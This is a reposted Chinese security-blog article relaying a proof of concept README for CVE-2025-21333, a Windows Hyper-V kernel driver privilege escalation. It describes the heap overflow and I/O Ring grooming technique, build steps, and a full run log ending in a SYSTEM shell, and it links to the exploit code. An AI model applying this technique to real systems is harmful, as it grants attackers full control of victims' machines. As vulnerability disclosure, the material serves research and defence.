【PoC】Windows Hyper-V NT 内核集成 VSP 提权漏洞

admin 2025年2月28日21:18:40评论19 views字数 5749阅读19分9秒阅读模式

CVE-2025-21333-POC

这是一个利用 CVE-2025-21333 在 vkrnlintvsp.sys 中的漏洞的概念验证(不太可靠,详见需求和限制部分)。参考部分列出了对想要研究此漏洞利用的人非常有用的资源。 该漏洞被发现正在被威胁行为者积极利用。 已在 Windows 11 23h2 上测试。 它可能也适用于 Windows 11 24h2,但我尚未测试。 以下是用于测试此POC的 ntoskrnl.exe 和 vkrnlintvsp.sys 的哈希值。

PS C:WindowsSystem32drivers> get-filehash .vkrnlintvsp.sys
Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77       C:WindowsSystem32driversv...
PS C:WindowsSystem32drivers>
PS C:WindowsSystem32> Get-FileHash ntoskrnl.exe
Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473       C:WindowsSystem32ntoskrnl.exe
PS C:WindowsSystem32>

覆写 I/O Ring 缓冲区条目以获取任意读/写

该漏洞不使用 NtQuerySystemInformation 来泄露内核地址,也不使用 PreviousMode 来获取任意读/写。 相反,它在分页池中分配一个指向 _IOP_MC_BUFFER_ENTRY 的指针数组,并用一个位于用户空间的恶意 IOP_MC_BUFFER_ENTRY* 覆写第一个指针。使用 _BuildIoRingWriteFile()_/_BuildIoRingReadFile()_ 可以在内核中获得任意读/写能力。 指向 __IOP_MC_BUFFER_ENTRY_ 的指针数组是一个带有 PoolTag IrRB 的对象。 这种技术与 Yarden Shafir 在这里记录的技术略有不同。与控制由 _IORING_OBJECT.RegBuffers 指向的整个数组不同,该技术仅控制由 _IORING_OBJECT.RegBuffers 指向的数组中的一个条目。 由于指针数组的大小可由用户控制,这意味着它可以用于从多个 LFH 存储桶的堆溢出和 UAF 开始获取可靠的内核中任意读/写能力。 我不知道是否有人已经分享了这种利用分页池中的溢出或 UAF 的技术。 这些截图是在执行 POC 后拍摄的。溢出发生在对象大小为 0x50 的存储桶中。注意可以在该存储桶中分配 RegBuffers 数组,且第一个指针指向用户空间内存。

【PoC】Windows Hyper-V NT 内核集成 VSP 提权漏洞

注意恶意条目将 Address 设置为一个进程对象。_Address_ 对应于我们可能想要读取/写入的任意地址(这在 Yarden Shafir 的文章中已有详细描述)。

【PoC】Windows Hyper-V NT 内核集成 VSP 提权漏洞

需求和限制

必须开启 Windows 沙箱功能,这样易受攻击的系统调用才会由易受攻击的驱动程序处理。

【PoC】Windows Hyper-V NT 内核集成 VSP 提权漏洞

我设法获得了 0xfff0 字节的溢出。我没能使溢出长度完全可控。如果溢出大于子段,则可能会看到崩溃(这种情况可能会经常发生)。也许通过喷射更多对象可以最小化这种情况。 这个 POC 释放了 2 个 WNF 状态数据,以在这些位置重新分配一个 regBuffer(与 IORING_OBJECT 关联的 _IOP_MC_BUFFER_ENTRY 指针数组)和一个 PipeAttribute。有时,在释放和重新分配之间,可能会有其他驱动程序在该位置分配另一个对象。可以在循环中使用其他被破坏的 WNF 状态数据对象执行多次重新分配尝试,以增加获得所需布局的可能性。 POC 代码相当混乱。 获得系统权限后,最好在控制台中键入 exit 退出系统 shell,否则机器会崩溃

编译和运行

编译 x64 Release 版本。 运行并获取系统 shell。

PS C:Usersunpriv> .CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:Windowssystem32WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r

guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'
"r

Triggering vuln creating crossvmevent...
max corrupted WNF
state: a18d294541c64e6d val: 0  dataSize: 10040
calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040
buffer content
[+] found WNF to be freed and replaced with RegBuffers
offset 30
[+] found WNF to be freed and replaced with PipeAttribute
offset2 80
updating regBuffersControllerWNF
calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040
calling NtUpdateWnfStateData returned successfully
[*] retrieving WNF with content 0x4343434343434343
[*] retrieving WNF with content 0x4444444444444444
searching in statenames2
found corrupted WNF: a18d514541c64e6dval: 4343434343434343
found corrupted WNF: a18d614541c64e6dval: 4444444444444444
found1 1 found2 1
found1 1 found2 1
found1 1 found2 1
0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6  ....IrRBd.v.....
0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00  ................
0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00  ....NpAt........
0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff  ..+G......+G....
0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00  8.*M............
0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41  :.*M....Z.AAAAAA
0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00  ....P...P.......
0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00  ................
0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

[+] regBuffers found and can be overwritten
[+] pipeAttribute found and can be read
[*] original_regBufferEntry: ffffe309f1b1a1a0
[*] pipeAttributeFlink: ffffd10a472b01d0
[+] found target handle
[*] targetHandle: 00000211216BC4D0
[*] ioring index: 425
[*] fileObject: ffffe309f134d7e0
[*] base of npfs.sys: fffff80631660000
[*] base of ntoskrnl.exe: fffff80628c00000
[*] system EPROCESS: ffffe309ea4c2040
[*] system TOKEN: ffffd10a3a246040
[*] curpid: 21c8
Microsoft Windows [Version 10.0.22631.4460]
(c) Microsoft Corporation. All rights reserved.
C:Usersunpriv>whoami
nt authoritysystem
C:Usersunpriv>exit
calling NtUpdateWnfStateData returned successfully
PS C:Usersunpriv>

PoC见: https://github.com/MrAle98/CVE-2025-21333-POC

原文始发于微信公众号(独眼情报):【PoC】Windows Hyper-V NT 内核集成 VSP 提权漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月28日21:18:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PoC】Windows Hyper-V NT 内核集成 VSP 提权漏洞http://cn-sec.com/archives/3781094.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息